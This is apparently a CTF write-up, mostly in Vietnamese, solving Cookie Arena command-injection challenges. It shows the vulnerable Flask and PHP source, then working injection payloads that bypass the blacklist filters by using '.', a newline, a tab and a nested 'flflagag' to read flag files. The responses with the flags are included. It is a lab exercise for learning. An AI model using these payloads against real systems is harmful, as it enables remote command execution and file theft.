Post

Cookie Arena Skill Path Writeup: OS Command Injection

Solution for all challenge at Skill Path OS Command Injection (Include Explain and Payload)

Empty Execution

Bài này sử dụng Python REST API để triển khai Web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import Flask, jsonify, request, Response
import os

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return Response(open(__file__).read(), mimetype="text/plain")

# Run commands from leaderbot
@app.route('/run_command', methods=['POST'])   ## Vuln at here
def run_command():

    # Get command
    data = request.get_json()
    if 'command' in data:
        command = str(data['command'])

        # Length check
        if len(command) < 5:
            return jsonify({'message': 'Command too short'}), 501

        # Perform security checks
        if '..' in command or '/' in command:           ## Blacklist Character
            return jsonify({'message': 'Hacking attempt detected'}), 501

        # Find path to executable
        executable_to_run = command.split()[0]

        # Check if we can execute the binary
        if os.access(executable_to_run, os.X_OK):       ## Check command if exist in executables folder (guessing file execute in OS at same folder)

            # Execute binary if it exists and is executable
            out = os.popen(command).read()
            return jsonify({'message': 'Command output: ' + str(out)}), 200

    return jsonify({'message': 'Not implemented'}), 501


if __name__ == '__main__':
    
    # Make sure we can only execute binaries in the executables directory
    os.chdir('./executables/')      ## Main Problem

    # Run server
    app.run(host='0.0.0.0', port=1337)

Như bạn có thể biết trong bất kì folder nào cũng đều tồn tại 2 command: .... Nhưng source code chỉ filter command .. thôi nên ta hoàn toàn có thể sử dụng . để bypass

```HTTP Request POST /run_command HTTP/1.1 Host: 103.97.125.56:30362 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Length: 62 Content-Type: application/json; charset=utf-8

{ “command”:”. ; echo Y2F0IC9mbGFnLnR4dA== | base64 -d” }

1
2
3
4
5
6
7
8
9
10
11
12
Khi đó bạn sẽ nhận được response sau:

```HTTP Request
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.2
Date: Fri, 27 Jun 2025 07:33:02 GMT
Content-Type: application/json
Content-Length: 108
Connection: close

{"message":"Command output: CHH{Ch33r_Up_BuddY_JU5t_3x3Cut3_4_D1reCT0ry_aaa69cb1d0e7123f5e5ccaf4dcad0209}"}

Ping 0x01


Ping 0x02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
if(isset($_POST[ 'ip' ])) {
    $target = urldecode(trim($_POST[ 'ip' ]));
    $substitutions = array(   // ---> Blacklist character is not allowed
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
        ' ' => '',
        'flag' => '',
        "*" => ''
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping -c 4 ' . $target );
}
?>
<!doctype html>
<html lang="en">
...
</html>

Ta có chuỗi blacklist trên rồi thì cần phải tìm ra cách bypass nó thoi. Rất đơn giản: ```HTTP Request POST / HTTP/1.1 Host: 103.97.125.56:30260 Content-Length: 15 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://103.97.125.56:30260 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://103.97.125.56:30260/ Accept-Encoding: gzip, deflate, br Connection: keep-alive

ip=8.8.8.8%0aid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
> %0a: URL-encode newline
{: .prompt-tip}

Khi đó ta sẽ nhận được response sau:
```HTTP Request
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 27 Jun 2025 07:55:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 1478

<!doctype html>
<html lang="en">
...
        <div class="text-start">
            8.8.8.8
id<pre>PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=62 time=0.525 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=62 time=0.610 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=62 time=0.383 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=62 time=0.513 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.383/0.508/0.610/0.081 ms
uid=1000(www) gid=1000(www) groups=1000(www)
</pre>        </div>
...

Quay trở lại khai thác đọc flag thôi: ```HTTP Request POST / HTTP/1.1 Host: 103.97.125.56:30260 Content-Length: 32 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://103.97.125.56:30260 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://103.97.125.56:30260/ Accept-Encoding: gzip, deflate, br Connection: keep-alive

ip=8.8.8.8%0acat%09/flflagag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
> %09: URL-encode newline
{: .prompt-tip}

Response tương ứng:
```HTTP Request
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 27 Jun 2025 08:00:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 1513

<!doctype html>
...
        <div class="text-start">
            8.8.8.8
cat	/flag.txt<pre>PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=62 time=0.510 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=62 time=0.457 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=62 time=0.417 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=62 time=0.457 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.417/0.460/0.510/0.033 ms
CHH{Med1Um_F11TEr_coMm4ND_InJ3C71On_e128f4f195e2e760e166d2976ee4113f}</pre>        </div>
...

Giải thích payload:

1
2
3
4
5
Origin:
        8.8.8.8%0acat%09/flflagag.txt 
After apply filter:
        8.8.8.8
        cat   /flag.txt

Happy Hacking

This post is licensed under CC BY 4.0 by the author.